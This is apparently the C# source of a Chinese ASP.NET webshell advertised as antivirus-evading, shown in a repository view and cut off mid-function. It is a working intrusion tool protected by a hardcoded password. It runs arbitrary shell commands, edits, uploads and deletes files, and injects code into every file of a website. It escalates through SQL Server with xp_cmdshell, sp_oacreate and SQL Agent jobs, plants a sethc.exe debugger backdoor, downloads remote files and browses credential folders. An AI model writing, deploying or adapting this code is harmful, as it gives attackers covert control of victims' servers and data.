webshell/net-friend/aspx/Aspx(免杀).aspx

2942 lines
118 KiB
Text
Raw Normal View History

2013-06-20 01:50:18 +00:00
<%@ Page Language="C#" validateRequest="false" AspCompat="true" Debug="true" trace="false"%>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<%@ import Namespace="System.Threading" %>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Data.SqlClient" %>
<%@ import Namespace="Microsoft.Win32" %>
<%@ import Namespace="System.Data.OleDb" %>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="System.Security.Cryptography" %>
<script runat ="server" >
public string getself;
public string getselfurl;
public string iisusername;
public string iiswebpath;
public string iisdk;
public const string jksessionpass = "SBST"; /*密码*/
public void getprocess()
{
ListBox1.Items.Clear();
Process[] pl = Process.GetProcesses();
foreach (Process g in pl)
{
ListBox1.Items.Add(g.ProcessName.ToString());
}
}
public void getsqltq()
{
DropDownList1.Items.Clear();
DropDownList1.Items.Add("XP_CmdShell");
DropDownList1.Items.Add("Sp_Oacreate");
DropDownList1.Items.Add("Xp_Regwrite");
DropDownList1.Items.Add("SQL Server Agent");
DropDownList1.Items.Add("SA映像劫持");
}
public void Page_Load(object sender, EventArgs e)
{
getselfurl = "http://" + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["PATH_INFO"];
Server.ScriptTimeout = 775000;
if (IsPostBack == false )
{
getsqltq();
getprocess();
TreeNode tr = new TreeNode("本地硬盘");
TreeView1.Nodes.Add(tr);
TreeView1.ExpandAll();
DriveInfo[] getdr = DriveInfo.GetDrives();
{
foreach (DriveInfo dr in getdr)
{
TreeNode td = new TreeNode(dr.Name.ToString());
tr.ChildNodes.Add(td);
}
for (int i = 0; i < TreeView1.Nodes.Count; i++)
{
TreeView1.Nodes[i].Expanded = false;
}
}
}
getself = Server.MapPath(Request.ServerVariables["PATH_INFO"]);
}
public string allfile;
public void getspyrootfolder(string getfolderstr)
{
try
{
Label2.Visible = true;
Label2.Text = "<a href='?action=showfolder&folder=" + Directory.GetParent(getfolderstr) + "'>返回上级目录</a>" + "<br><br>";
}
catch (Exception lb)
{
Response.Write("目录不存在!");
Response.Write(lb.Message.ToString());
}
if (Directory.Exists(getfolderstr) == true)
{
foreach (string allfile in Directory.GetFileSystemEntries(getfolderstr))
{
int getfilex = allfile.LastIndexOf("\\") + 1;
string getdrname = allfile.Substring(getfilex, allfile.Length - getfilex);
if (getdrname.Length > 50)
{
getdrname = getdrname.Substring(0, 50) + "...";
}
if (Directory.Exists(allfile) == true)
{
string a = "<br/><div style ='width:631px;'><div style ='width:381px;float:left;'><a href='?action=showfolder&folder=" + allfile + "'>" + getdrname + "</a></div><div style ='margin-left:200px:width:50px;float:left;'><a href='?action=delfolder&folder=" + allfile + "' onclick='return test();' >删除</a></div></div>";
Label2.Text = Label2.Text + a;
}
else
{
Label1.Text += "<br/><div style ='width:631px;'><div style ='width:381px;float:left;'>" + getdrname + "</div><div style ='margin-left:200px:width:50px;float:left;'><a href='?action=edit&File=" + allfile + "'>编辑</a> <a href='?action=rename&File=" + allfile + "'> 重命名</a> <a href='?action=down&File=" + allfile + "'>下载</a> <a href='?action=config&File=" + allfile + "'> 属性设置</a> <a href='?action=del&File=" + allfile + "'onclick='return test();' > 删除</a></div></div><br/>";
}
}
}
}
public string getcontent;
public void getwebfile(string getfilestr)
{
try
{
editpath.Text = getfilestr;
StreamReader sr = new StreamReader(getfilestr,Encoding.Default );
getcontent = sr.ReadToEnd();
sr.Close();
sr.Dispose();
}
catch (Exception ex)
{
Response.Write(ex.Message.ToString());
return;
}
}
protected void TreeView1_SelectedNodeChanged(object sender, EventArgs e)
{
Label1.Text = "";
Label2.Text = "";
string getpf = TreeView1.SelectedNode.Text.ToString();
getspyrootfolder(getpf);
}
public string getname;
public void getrename(string getrenamestr)
{
getname = getrenamestr;
}
public void getdown(string downfilestr)
{
if (File.Exists(downfilestr) == true)
{
try
{
FileInfo fi = new FileInfo(downfilestr);
Response.Clear();
Response.ClearHeaders();
Response.Buffer = false;
Response.ContentType = "application/octet-stream";
Response.AddHeader ("Content-Disposition","attachment;filename=" + HttpUtility.UrlEncode (fi.Name,System.Text.Encoding.UTF8 ));
Response.AppendHeader ("Content-Length",fi.Length.ToString ());
Response.WriteFile (fi.FullName);
Response.Flush ();
}
catch ( Exception e)
{
Response.Write(e.Message.ToString());
Response.End();
}
}
}
public string configfilestr;
public void getconfig(string configfilestr)
{
fileconfigpath.Text = configfilestr;
fileconfigpath.ReadOnly = true;
string getattstr = File.GetAttributes(configfilestr).ToString();
if (getattstr.LastIndexOf("ReadOnly") != -1)
{
CheckBox1.Checked = true;
}
if (getattstr.LastIndexOf("Hidden") != -1)
{
CheckBox2.Checked = true;
}
if (getattstr.LastIndexOf("System") != -1)
{
CheckBox3.Checked = true;
}
if (getattstr.LastIndexOf("Archive") != -1)
{
CheckBox4.Checked = true;
}
}
public void getaction(string getacstr)
{
if (Request["action"] == "showfolder")
{
Response.Write("<font size=2>当前路径: " + Request.QueryString["folder"] + "</font>");
getspyrootfolder(Request.QueryString["folder"]);
}
else if (Request.QueryString["action"] == "edit")
{
Response.Write("<font size=2>当前路径文件: " + Request.QueryString["File"] + "</font>");
getwebfile(Request.QueryString["File"]);
}
else if (Request.QueryString["action"] == "rename")
{
getrename(Request.QueryString["File"]);
}
else if (Request.QueryString["action"] == "down")
{
getdown(Request.QueryString["File"]);
}
else if (Request.QueryString["action"] == "config")
{
getconfig(Request.QueryString["File"]);
}
else if (Request.QueryString["action"] == "del")
{
getdel ( Request.QueryString["File"]);
}
else if (Request.QueryString["action"] == "delfolder")
{
getdelfolder(Request.QueryString["folder"]);
Response.Write("<script>alert('删除成功!');location.href='?action=showfolder&folder=" + Server.MapPath(".").Replace(@"\", "%5c") + "'</" + "script>");
}
}
public void getdelfolder(string delfolderstr)
{
if (Directory.Exists(delfolderstr) == true)
{
foreach (string fod in Directory.GetFileSystemEntries(delfolderstr))
{
if (Directory.Exists(fod))
{
getdelfolder(fod);
}
else
{
File.Delete(fod.ToString());
}
}
Directory.Delete(delfolderstr);
}
}
protected void Label2_Load(object sender, EventArgs e)
{
getaction(allfile);
}
protected void Button1_Click(object sender, EventArgs e)
{
string site;
string getpath = editpath.Text;
int ofilext = getpath.LastIndexOf("\\")+1 ;
site = getpath.Substring (0, ofilext);
StreamWriter sw = new StreamWriter(getpath,false,Encoding.Default );
sw.Write(filecontent.Text);
Response.Write("<script>alert('保存成功!');location.href='?action=showfolder&folder= " + @site.Replace (@"\","%5c") +"'</" + "script>");
sw.Close();
sw.Dispose();
Response.End ();
}
protected void Button2_Click(object sender, EventArgs e)
{
try
{
FileInfo fi = new FileInfo(getname) ;
fi.MoveTo(refilename.Text.Trim());
int filext = getname.LastIndexOf("\\") + 1;
string site = getname.Substring(0,filext);
Response.Write("<script>alert('重命名成功!');location.href='?action=showfolder&folder= " + @site.Replace(@"\", "%5c") + "'</" + "script>");
}
catch (Exception x)
{
Response.Write(x.Message.ToString());
Response.End();
}
}
public void getdel(string delstr)
{
string getfile = Request.QueryString["File"];
int getext = getfile.LastIndexOf("\\") + 1;
string weizhi = getfile.Substring(0, getext);
File.Delete(delstr);
Response.Write("<script>alert('删除成功!');location.href='?action=showfolder&folder="+ weizhi.Replace (@"\","%5c") +"'</" + "script>");
}
public void createfolder(string getcfstr)
{
DirectoryInfo di = new DirectoryInfo(Server.MapPath("."));
}
public string tv2str;
protected void TreeView2_SelectedNodeChanged(object sender, EventArgs e)
{
Label1.Text = "";
Label2.Text = "";
string getpath;
tv2str = TreeView2.SelectedNode.Text.ToString();
if (tv2str == "站点根目录")
{
getpath = Request.PhysicalApplicationPath;
getspyrootfolder(getpath.ToString());
}
else if (tv2str == "本程序目录")
{
getpath = Server.MapPath(".");
getspyrootfolder(getpath.ToString());
}
}
protected void cfolder_Click(object sender, EventArgs e)
{
string getcf = cfolderstr.Text.Trim();
DirectoryInfo di = new DirectoryInfo(getcf);
di.Create();
Response.Write("<script>alert('目录创建成功!');location.href='?action=showfolder&folder=" + Server.MapPath(".").Replace (@"\","%5c") + "'</" + "script>");
}
protected void cfilebtn_Click(object sender, EventArgs e)
{
string getcfile = cfile.Text.Trim();
if (Path.GetExtension(getcfile) == "")
{
Response.Write("请输入文件!");
Response.End();
}
else
{
FileInfo fi = new FileInfo(getcfile);
fi.Create();
Response.Write("<script>alert('文件创建成功!');location.href='?action=showfolder&folder=" + Server.MapPath(".").Replace(@"\", "%5c") + "'</" + "script>");
}
}
protected void uploadfile_Click(object sender, EventArgs e)
{
try
{
string pathfile;
pathfile = savefile.Text.Trim();
if (pathfile == "")
{
Response.Write("请输入绝对路径!");
Response.End();
}
else if (FileUpload1.PostedFile.FileName.ToString() == "")
{
Response.Write("请指定上传文件!");
return;
}
else
{
string getfilename = pathfile.Substring(0, pathfile.LastIndexOf("\\") + 1);
FileUpload1.PostedFile.SaveAs(pathfile);
Response.Write("<script>alert('上传成功!');location.href='?action=showfolder&folder=" + getfilename.Replace("\\", "%5c") + "'</" + "script>");
}
}
catch (Exception ex)
{
Response.Write(ex.Message.ToString());
Response.End();
}
}
public void getallfilestr( string getallstr )
{
try
{
if (Directory.Exists(getallstr) == true)
{
foreach (string i in Directory.GetFileSystemEntries(getallstr))
{
if (Directory.Exists(i) == true)
{
getallfilestr(i);
}
else
{
if (i != getself)
{
StreamReader sr = new StreamReader(i.ToString(),Encoding.Default );
string getall = sr.ReadToEnd();
sr.Close();
sr.Dispose();
StreamWriter sw = new StreamWriter(i.ToString(),false,Encoding.Default );
sw.Write(getall + gmcode.Text.Trim());
sw.Close();
sw.Dispose();
}
}
}
}
}
catch (Exception es)
{
Response.Write(es.Message.ToString());
return;
}
}
public void getqmfilestr(string getqmstr)
{
try
{
if (Directory.Exists(getqmstr) == true)
{
foreach (string j in Directory.GetFileSystemEntries(getqmstr))
{
if (Directory.Exists(j) == true)
{
getqmfilestr(j);
}
else
{
if (j != getself)
{
StreamReader sr = new StreamReader(j.ToString(),Encoding.Default );
string getall = sr.ReadToEnd();
sr.Close();
sr.Dispose();
StreamWriter sw = new StreamWriter(j.ToString(),false ,Encoding.Default );
sw.Write(getall.Replace(qmcode.Text, ""));
sw.Close();
sw.Dispose();
}
}
}
}
}
catch (Exception ep)
{
Response.Write(ep.Message.ToString());
return;
}
}
public string omumastr;
public void getfindmm(string getmmstr)
{
try
{
if (Directory.Exists(getmmstr) == true)
{
foreach (string k in Directory.GetFileSystemEntries(getmmstr))
{
if (Directory.Exists(k) == true)
{
getfindmm(k);
}
else
{
if (k != getself)
{
StreamReader sr = new StreamReader(k.ToString(),Encoding.Default );
string getall = sr.ReadToEnd();
getall = getall.ToLower();
sr.Close();
sr.Dispose();
string gettzm;
if (tzcode.Text.Trim() != "")
{
gettzm = "," + tzcode.Text.Trim();
}
else
{
gettzm = "";
}
string tzm = "wscript.shell,shell.application,wscript.network,vbscript.encode" + gettzm ;
string[] tzmsz = tzm.Split(',');
foreach (string t in tzmsz)
{
if (getall.IndexOf (t.ToString ()) > 0 )
{
omumastr = omumastr + "<br>" + "<div style ='width:631px;'><div style ='width:381px;float:left;'>" + k + "</div><div style ='margin-left:200px:width:50px;float:left;'><a href='?action=edit&File=" + k + "'>编辑</a> <a href='?action=del&File=" + k + "'> 删除</a></div></div>";
}
}
}
}
}
}
}
catch (Exception jk)
{
Response.Write(jk.Message.ToString());
return;
}
}
public string getdbfileall;
public string Getdbfilea ( string getdbstr )
{
if (Directory.Exists(getdbstr) == true)
{
foreach (string getdbstra in Directory.GetFileSystemEntries(getdbstr))
{
if (Directory.Exists(getdbstra))
{
Getdbfilea(getdbstra);
}
else
{
getdbfileall = getdbfileall + "\r\n" + getdbstra;
}
}
}
return getdbstr ;
}
protected void gm_Click(object sender, EventArgs e)
{
string getfs;
if (bml.Checked == true)
{
if (gmcode.Text.Trim() != "")
{
getfs = Server.MapPath(".");
getallfilestr(getfs);
}
}
else if (gml.Checked == true)
{
if (qmcode.Text.Trim() != "")
{
getfs = Request.PhysicalApplicationPath;
getallfilestr(getfs);
}
}
}
protected void qingma_Click(object sender, EventArgs e)
{
string getfs;
if (bcxml.Checked == true)
{
getfs = Server.MapPath(".");
getqmfilestr(getfs);
}
else if (gcxml.Checked == true)
{
getfs = Request.PhysicalApplicationPath;
getqmfilestr(getfs);
}
}
protected void find_Click(object sender, EventArgs e)
{
string getwz;
if (czbml.Checked == true)
{
getwz = Server.MapPath(".");
getfindmm(getwz);
}
else if (czgml.Checked == true)
{
getwz = Request.PhysicalApplicationPath;
getfindmm(getwz);
}
}
protected void TreeView3_SelectedNodeChanged(object sender, EventArgs e)
{
string tqstr;
Label1.Text = "";
Label2.Text = "";
if (TreeView3.SelectedNode.Text == "Program Files")
{
tqstr = System.Environment.GetEnvironmentVariable ("ProgramFiles");
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Documents and Settings")
{
tqstr = System.Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "PcAnywhere")
{
tqstr = @"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Serv-U(I)")
{
tqstr =@"C:\Program Files\serv-u\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Serv-U(II)")
{
tqstr = @"C:\Program Files\RhinoSoft.com\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "开始菜单")
{
tqstr = System.Environment.GetFolderPath(Environment.SpecialFolder.StartMenu);
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Real")
{
tqstr = @"C:\Program Files\Real\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Sql Server")
{
tqstr = @"C:\Program Files\Microsoft SQL Server\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Config")
{
tqstr = @"C:\WINDOWS\system32\config\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Inetsrv")
{
tqstr = @"C:\WINDOWS\system32\inetsrv\";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Temp")
{
tqstr = @"C:\windows\Temp";
getspyrootfolder(tqstr);
}
else if (TreeView3.SelectedNode.Text == "Repair")
{
tqstr = @"C:\WINDOWS\repair\";
getspyrootfolder(tqstr);
}
}
public string jsjname = "计算机名: " + System.Environment.MachineName.ToString();
public string getvs = "Visual Studio 版本: " + System.Environment.Version.ToString();
public string getusername ="当前用户: " + System.Environment.UserName;
public string getwdir = "系统目录: " + System.Environment.SystemDirectory.ToString();
public string systime = "系统时间: " + System.DateTime.Now.ToString ();
public string getosname = "操作系统版本: " + System.Environment.OSVersion.VersionString.ToString();
protected void TreeView4_SelectedNodeChanged(object sender, EventArgs e)
{
Label1.Text = "";
Label2.Text = "";
}
public string ocmd;
protected void cmdbtn_Click(object sender, EventArgs e)
{
Process pr = new Process();
pr.StartInfo.FileName = cmdurl.Text;
pr.StartInfo.RedirectStandardOutput = true;
pr.StartInfo.UseShellExecute = false;
pr.StartInfo.Arguments = "/c " + cmd.Text.Trim ();
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
ocmd = osr.ReadToEnd();
cmdshow.Text = ocmd;
osr.Close();
osr.Dispose();
}
protected void qidong_Click(object sender, EventArgs e)
{
if (newjc.Text.Trim() != "")
{
Process p = new Process();
p.StartInfo.FileName = newjc.Text.Trim();
p.Start();
ListBox1.Items.Clear();
getprocess();
}
}
protected void kp_Click(object sender, EventArgs e)
{
Process[] kp = Process.GetProcesses ();
foreach ( Process kp1 in kp )
if (kp1.ProcessName == ListBox1.SelectedValue.ToString())
{
try
{
kp1.Kill();
Response.Write("<script>alert('成功结束该进程!');location.href='?'</" + "script>");
ListBox1.Items.Clear();
}
catch (Exception x)
{
Response.Write(x.Message.ToString());
Response.End();
}
}
}
protected void sqlbtn_Click(object sender, EventArgs e)
{
sqlshow.Text = "";
string getport = sqlport.Text.Trim();
if (getport == "1433")
{
getport = "";
}
else if (getport == "")
{
getport = "";
}
else
{
getport = "," + getport;
}
try
{
if (DropDownList1.SelectedValue.ToString() == "XP_CmdShell")
{
string connstr = "server=." + getport + ";User ID=" + sqlname.Text.Trim() + ";Password=" + sqlpass.Text.Trim();
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd;
SqlDataReader dr;
string sqlexist = "select count(*) from master.dbo.sysobjects where xtype='X' and name='XP_CmdShell'";
cmd = new SqlCommand(sqlexist, conn);
dr = cmd.ExecuteReader();
if (dr.Read())
{
int getv = Convert.ToInt32(dr.GetValue(0));
dr.Close();
dr.Dispose();
if (getv != 0)
{
string cmdshellstr = "exec xp_cmdshell '" + shellcmd.Text.Trim() + "'";
cmd = new SqlCommand(cmdshellstr, conn);
dr = cmd.ExecuteReader();
while (dr.Read())
{
if (dr.HasRows == true)
{
for (int m = 0; m < dr.FieldCount; m++)
{
this.sqlshow.Text = sqlshow.Text + dr.GetValue(m) + "\r\n";
}
}
}
dr.Close();
dr.Dispose();
cmd.Dispose();
}
}
conn.Close();
conn.Dispose();
}
else if (DropDownList1.SelectedValue.ToString() == "Sp_Oacreate")
{
try
{
string connstr = "server=." + getport + ";User ID=" + sqlname.Text.Trim() + ";Password=" + sqlpass.Text.Trim();
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd;
string jksqlstr = "CREATE TABLE [jnc](ResultTxt nvarchar(1024) NULL);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd /c" + shellcmd.Text.Trim () + " > 8617.tmp',0,true;BULK INSERT [jnc] FROM '8617.tmp' WITH (KEEPNULLS)";
cmd = new SqlCommand(jksqlstr, conn);
cmd.ExecuteNonQuery();
sqlshow.Text = "命令成功完成!";
string jksqlstrdel = "DROP TABLE [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd /c del 8617.tmp'";
cmd = new SqlCommand(jksqlstrdel, conn);
cmd.ExecuteNonQuery();
cmd.Dispose();
conn.Close();
conn.Dispose();
}
catch (Exception xx)
{
Response.Write(xx.Message.ToString());
Response.End();
}
}
else if (DropDownList1.SelectedValue.ToString() == "Xp_Regwrite")
{
try
{
string connstr = "server=." + getport + ";User ID=" + sqlname.Text.Trim() + ";Password=" + sqlpass.Text.Trim();
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd;
string jksql3 = "exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',1";
string jksql4 = jksql3 + "select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell(\" cmd.exe /c " + shellcmd.Text.Trim () + " \")')";
cmd = new SqlCommand(jksql4, conn);
cmd.ExecuteNonQuery();
sqlshow.Text = "命令成功完成!";
cmd.Dispose();
conn.Close();
conn.Dispose();
}
catch (Exception err)
{
Response.Write(err.Message.ToString());
Response.End();
}
}
else if (DropDownList1.SelectedItem.ToString() == "SA映像劫持")
{
try
{
string connstr = "server=." + getport + ";User ID=" + sqlname.Text.Trim() + ";Password=" + sqlpass.Text.Trim();
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd;
string sayx = "exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\explorer.exe' ";
cmd = new SqlCommand(sayx, conn);
cmd.ExecuteNonQuery();
cmdshow.Text = "命令成功完成!";
cmd.Dispose();
conn.Close();
conn.Dispose();
}
catch (Exception sa)
{
Response.Write(sa.Message.ToString());
Response.End();
}
}
}
catch (Exception f)
{
Response.Write(f.Message.ToString());
Response.End();
}
if (DropDownList1.SelectedValue.ToString() == "SQL Server Agent")
{
string connstrs = "server=." + getport + ";User ID=" + sqlname.Text.Trim() + ";Password=" + sqlpass.Text.Trim() + ";database=msdb";
SqlConnection conns = new SqlConnection(connstrs);
conns.Open();
try
{
string webname = "Select host_name()";
SqlCommand agentcmd = new SqlCommand(webname, conns);
SqlDataReader agentdr = agentcmd.ExecuteReader();
agentdr.Read();
string websql = agentdr.GetValue(0).ToString();
string agentsql = "EXEC sp_add_job @job_name = 'jktest'," + " @enabled = 1," + " @delete_level = 1" + " EXEC sp_add_jobstep @job_name = 'jktest'," + " @step_name = 'Exec my sql'," + " @subsystem = 'TSQL'," + " @command = ' exec master..xp_execresultset N''select '''' exec" + " master..xp_cmdshell \"" + shellcmd.Text + ">c:\\jk.txt\"'''''',N''Master'''" + " EXEC sp_add_jobserver @job_name = 'jktest'," + " @server_name = '" + websql + "'" + " EXEC sp_start_job @job_name = 'jktest'";
agentdr.Close();
agentdr.Dispose();
agentcmd.Dispose();
agentcmd = new SqlCommand(agentsql, conns);
agentcmd.ExecuteNonQuery();
sqlshow.Text = "命令成功完成!";
agentcmd.Dispose();
conns.Close();
conns.Dispose();
}
catch (Exception sd)
{
Response.Write(sd.Message.ToString());
Response.End();
}
}
}
public string oregstr;
protected void readreg_Click(object sender, EventArgs e)
{
string jkregstr = regtext.Text.Trim();
int regindex = jkregstr.IndexOf("\\")+1 ;
int reglastindex = jkregstr.LastIndexOf("\\") +1;
string getzhi = jkregstr.Substring(reglastindex, jkregstr.Length - reglastindex);
string regstr = jkregstr.Substring(0, regindex).ToUpper();
string reglaststr = jkregstr.Substring(regindex, reglastindex - regindex);
switch (regstr)
{
case @"HKEY_LOCAL_MACHINE\":
RegistryKey rega = Registry.LocalMachine.OpenSubKey(reglaststr);
oregstr = rega.GetValue(getzhi , "null").ToString();
break;
case @"HKEY_CLASSES_ROOT\":
RegistryKey regb = Registry.ClassesRoot.OpenSubKey(reglaststr);
oregstr = regb.GetValue(getzhi, "null").ToString();
break;
case @"HKEY_CURRENT_USER\":
RegistryKey regc = Registry.CurrentUser.OpenSubKey(reglaststr);
oregstr = regc.GetValue(getzhi, "null").ToString();
break;
case @"HKEY_USERS\":
RegistryKey regd = Registry.Users.OpenSubKey(reglaststr);
oregstr = regd.GetValue(getzhi, "null").ToString();
break;
case @"HKEY_CURRENT_CONFIG\":
RegistryKey rege = Registry.CurrentConfig.OpenSubKey(reglaststr);
oregstr = rege.GetValue(getzhi, "null").ToString();
break;
}
}
protected void scan_Click(object sender, EventArgs e)
{
string portstr = scanport.Text.Trim();
string[] getportstr = portstr.Split(',');
foreach (string pt in getportstr)
{
try
{
TcpClient tc = new TcpClient();
tc.Connect("127.0.0.1", Convert.ToInt32(pt));
ListBox2.Items.Add(pt.ToString() + "端口" + "---------------------------------------" + "开放!");
tc.Close();
}
catch (SocketException)
{
ListBox2.Items.Add(pt.ToString() + "端口" );
}
}
}
protected void dbbtn_Click(object sender, EventArgs e)
{
string dbporta = dbport.Text;
if (dbporta == "1433")
{
dbporta = "";
}
else if (dbporta == "")
{
dbporta = "";
}
else
{
dbporta = "," + dbporta;
}
string dbconnstr = "server=." + dbporta + ";User ID=" + dbname.Text.Trim() + ";Password=" + dbpass.Text.Trim() + ";database=msdb";
SqlConnection dbsqlconn = new SqlConnection(dbconnstr);
try
{
dbsqlconn.Open();
string webnamea = "Select host_name()";
SqlCommand dbcmda = new SqlCommand(webnamea, dbsqlconn);
SqlDataReader dbsr = dbcmda.ExecuteReader();
dbsr.Read();
string websqla = dbsr.GetValue(0).ToString();
string agentsql = "EXEC sp_add_job @job_name = 'jktest'," + " @enabled = 1," + " @delete_level = 1" + " EXEC sp_add_jobstep @job_name = 'jktest'," + " @step_name = 'Exec my sql'," + " @subsystem = 'TSQL'," + " @command = ' exec master..xp_execresultset N''select '''' exec" + " master..xp_cmdshell \"" + dbcmd.Text + ">c:\\jk.txt\"'''''',N''Master'''" + " EXEC sp_add_jobserver @job_name = 'jktest'," + " @server_name = '" + websqla + "'" + " EXEC sp_start_job @job_name = 'jktest'";
dbsr.Close();
dbsr.Dispose();
dbcmda.Dispose();
dbcmda = new SqlCommand(agentsql , dbsqlconn);
dbcmda.ExecuteNonQuery();
dbshow.Text = "命令成功完成!";
}
catch (Exception)
{
Response.Write( "抱歉,执行命令失败!" );
Response.End();
}
}
protected void filebtn_Click(object sender, EventArgs e)
{
try
{
WebClient wc = new WebClient();
wc.DownloadFile(remoteurl.Text.Trim(), localurl.Text.Trim());
Response.Write("<script>alert('保存成功!')</" + "script>");
wc.Dispose();
}
catch (Exception n)
{
Response.Write(n.Message.ToString());
Response.End();
}
}
protected void kubtn_Click(object sender, EventArgs e)
{
ListBox3.Items.Clear();
getlistku();
}
protected void kutable_Click(object sender, EventArgs e)
{
string kusqlportstr = kusqlport.Text.Trim();
if (kusqlportstr == "1433")
{
kusqlportstr = "";
}
else if (kusqlportstr == "")
{
kusqlportstr = "";
}
else
{
kusqlportstr = "," + kusqlportstr;
}
string getkubiao = ListBox3.SelectedItem.ToString();
ListBox4.Items.Clear();
string kbstr = "server=." + kusqlportstr + ";User ID=" + kusqlname.Text.Trim() + ";Password=" + kusqlpass.Text.Trim() + ";database=" + getkubiao;
SqlConnection kbconn = new SqlConnection(kbstr );
try
{
kbconn.Open();
SqlCommand kbcmd = new SqlCommand("select * from sysobjects where xtype='u'", kbconn);
SqlDataReader kbdr = kbcmd.ExecuteReader();
while (kbdr.Read())
{
ListBox4.Items.Add(kbdr.GetValue(0).ToString());
}
kbdr.Close();
SqlCommand kbcmda = new SqlCommand("select * from sysobjects where xtype='s'", kbconn);
kbdr = kbcmda.ExecuteReader();
while (kbdr.Read())
{
ListBox4.Items.Add(kbdr.GetValue(0).ToString());
}
kbdr.Close();
kbdr.Dispose();
kbconn.Close();
kbconn.Dispose();
}
catch (Exception kberror)
{
Response.Write(kberror.Message.ToString());
Response.End();
}
}
protected void databtn_Click(object sender, EventArgs e)
{
if (ListBox4.Items.Count != 0)
{
if ( ListBox4.SelectedItem.ToString () != "")
{
string getdataport = kusqlport.Text.Trim ();
if (getdataport == "1433")
{
getdataport = "";
}
else if (getdataport == "")
{
getdataport = "";
}
else
{
getdataport = "," + getdataport;
}
SqlConnection dataconn = new SqlConnection("server=." + getdataport + ";User ID=" + kusqlname.Text.Trim() + ";Password=" + kusqlpass.Text.Trim() + ";database=" + ListBox3.SelectedItem.ToString());
try
{
string getdatasql = "select * from [" + ListBox4.SelectedItem.ToString() + "]";
SqlDataAdapter datada = new SqlDataAdapter (getdatasql,dataconn );
System.Data.DataSet od = new System.Data.DataSet ();
datada.Fill (od ,ListBox4.SelectedItem.ToString ());
this.GridView1.DataSource = od;
this.GridView1.DataBind();
}
catch (Exception de)
{
Response.Write(de.Message.ToString());
return;
}
dataconn.Close();
dataconn.Dispose();
this.GridView1.Visible = true;
}
}
}
public string oportstr;
public string osqlnamestr;
public string osqlpassstr;
public string osqldatabasestr;
public string osqltablestr;
public SqlCommand getocmd;
public SqlConnection pconn()
{
oportstr = kusqlport.Text.Trim ();
switch (oportstr)
{
case "1433":
oportstr = "";
break;
case "":
oportstr ="";
break ;
}
osqlnamestr = kusqlname.Text.Trim ();
osqlpassstr = kusqlpass.Text .Trim ();
osqldatabasestr = ListBox3.SelectedItem.ToString ();
SqlConnection getpconn = new SqlConnection("server=." + oportstr + ";User ID=" + osqlnamestr + ";Password=" + osqlpassstr + ";database=" + osqldatabasestr);
return getpconn;
}
protected void dropdata_Click(object sender, EventArgs e)
{
try
{
SqlConnection conn = pconn();
conn.Open();
getocmd = new SqlCommand(datastr.Text.Trim(), conn);
getocmd.ExecuteNonQuery();
getocmd.Dispose();
Response.Write("<script>alert('删除OK!')</" + "script>");
this.GridView1.Visible = false;
conn.Close();
conn.Dispose();
}
catch (Exception cn)
{
Response.Write(cn.Message.ToString());
return;
}
}
protected void updatebtn_Click(object sender, EventArgs e)
{
try
{
SqlConnection conn = pconn();
conn.Open();
getocmd = new SqlCommand(dataupdate.Text.Trim(), conn);
getocmd.ExecuteNonQuery();
getocmd.Dispose();
Response.Write("<script>alert('更新成功!')</" + "script>");
this.GridView1.Visible = false;
conn.Close();
conn.Dispose();
}
catch (Exception ep)
{
Response.Write(ep.Message.ToString());
return;
}
}
protected void addbtn_Click(object sender, EventArgs e)
{
try
{
SqlConnection conn = pconn();
conn.Open();
getocmd = new SqlCommand(dataadd.Text.Trim(), conn);
getocmd.ExecuteNonQuery();
Response.Write("<script>alert('添加成功!')</" + "script>");
this.GridView1.Visible = false;
getocmd.Dispose();
conn.Close();
conn.Dispose();
}
catch (Exception c)
{
Response.Write(c.ToString());
Response.End();
}
}
protected void ctbtn_Click(object sender, EventArgs e)
{
SqlConnection conn = pconn();
conn.Open();
getocmd = new SqlCommand(addbiao.Text.Trim(), conn);
getocmd.ExecuteNonQuery();
Response.Write("<script>alert('建表成功!')</" + "script>");
getocmd.Dispose();
conn.Close();
conn.Dispose();
}
public string usertabdel;
public string plsb;
protected void Button4_Click(object sender, EventArgs e)
{
if (ListBox4.Items.Count != 0)
{
SqlConnection conn = pconn();
conn.Open();
string usertabsql = "select * from sysobjects where xtype='u'";
getocmd = new SqlCommand(usertabsql, conn);
SqlDataReader jksdr = getocmd.ExecuteReader();
while (jksdr.Read())
{
usertabdel += jksdr.GetValue(0).ToString() + ",";
}
